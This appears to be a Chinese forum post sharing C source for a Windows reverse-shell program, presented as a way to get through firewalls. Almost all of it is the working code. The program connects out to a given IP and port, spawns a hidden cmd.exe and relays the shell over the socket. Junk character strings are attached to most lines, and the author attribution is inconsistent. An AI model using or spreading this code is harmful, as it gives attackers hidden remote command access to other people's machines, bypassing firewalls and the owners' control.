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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~>9_(L  
VDTcR  
/* ============================== 9@Cv5L?p\  
Rebound port in Windows NT Ym;*Y !~[  
By wind,2006/7 cqxVAzb  
===============================*/ hsu{eyp  
#include -OSa>-bzNx  
#include 2Sm }On  
;#w3{ NB  
#pragma comment(lib,"wsock32.lib") \.M*lqI  
TLehdZ>^  
void OutputShell(); bLt.O(T}  
SOCKET sClient; boG_f@dv(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1+?N#Fh  
"RIZV  
void main(int argc,char **argv) fNGZo  
{ `6+"Z=:  
WSADATA stWsaData; #c^^=Z  
int nRet; .s$z/Jv  
SOCKADDR_IN stSaiClient,stSaiServer; D7_*k%;@  
.k,YlFvj  
if(argc != 3) CdL< *AH  
{ 0527Wj  
printf("Useage:\n\rRebound DestIP DestPort\n"); |Ph3#^rM?  
return; vloF::1  
} ftH:r_"O#  
DBP9{ x$  
WSAStartup(MAKEWORD(2,2),&stWsaData); Q_l'o3  
$1ndKB8)`J  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s&'QN=A  
\W1/p`  
stSaiClient.sin_family = AF_INET; [9:9Ql_h  
stSaiClient.sin_port = htons(0); -*.-9B~u  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :6$>_m=i  
Sp@-p9#  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) V59(Z  
{ eYx Kp!f  
printf("Bind Socket Failed!\n"); tBpC: SG  
return; EqI(|bFwy  
} =-p$jXVW%  
7g_]mG [6  
stSaiServer.sin_family = AF_INET; P;4w*((} ~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); w&ak"GgV  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w3$   
b+Br=Fv"T  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ut r:J  
{ Y))NK'B5  
printf("Connect Error!"); J=/5}u_gw  
return; *2jK#9"MP  
} :%IoME   
OutputShell(); 6-O_\Cq8  
} m#=z7.XrX  
$ `7^+8vHV  
void OutputShell() 7 [0L9\xm  
{ sJNFFOz  
char szBuff[1024]; rx}r~0i  
SECURITY_ATTRIBUTES stSecurityAttributes; GgKEP,O  
OSVERSIONINFO stOsversionInfo; >t7x>_~   
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $ tl\UH7%2  
STARTUPINFO stStartupInfo; '(/7[tJ  
char *szShell; "Wx]RN:  
PROCESS_INFORMATION stProcessInformation; <_Q1k>  
unsigned long lBytesRead; d^`?ed\1  
%j7XEh<'  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); m^qBx A  
H= X|h)  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5 (A5Y-B  
stSecurityAttributes.lpSecurityDescriptor = 0; cp h:y  
stSecurityAttributes.bInheritHandle = TRUE; NFv>B>  
n'emN Ra  
0V?F'<qy  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8g7<KKw  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -44&#l^}_u  
j)q\9#sI/(  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &4_qF^9J  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i&n'N8D@  
stStartupInfo.wShowWindow = SW_HIDE; /t(C>$ }p  
stStartupInfo.hStdInput = hReadPipe; &iV{:)L  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vhhC> 7  
h yv2SxP*  
GetVersionEx(&stOsversionInfo); ,cq F3   
"Iix )Ue  
switch(stOsversionInfo.dwPlatformId) g&{9VK6.  
{ =z8f]/k*>  
case 1: i7ly[6{^pr  
szShell = "command.com"; VH:]@x//{  
break; Od|$Y+@6  
default: GAAm0;  
szShell = "cmd.exe"; {^N[("`  
break; P67o{EdK  
} 5scEc,JCi  
B-r0"MX&  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); M>/Zbnq  
aCL!]4K84$  
send(sClient,szMsg,77,0); jq!tT%o*B  
while(1) 4 uQT5  
{ K^R,Iu/M  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "]G\9b)   
if(lBytesRead) bwl|0"f+`  
{ gmm.{%1_I;  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?^N3&ukkyo  
send(sClient,szBuff,lBytesRead,0); O]m+u  
} ()H:UvM=t  
else jQ)T67  
{ Mec5h}^  
lBytesRead=recv(sClient,szBuff,1024,0); [n/hkXa$\  
if(lBytesRead<=0) break; b Ax?&$  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `HBf&Z  
} OD_W8!-  
} _l1NKk  
`ta7Gc/:UY  
return; \W`w` o  
}
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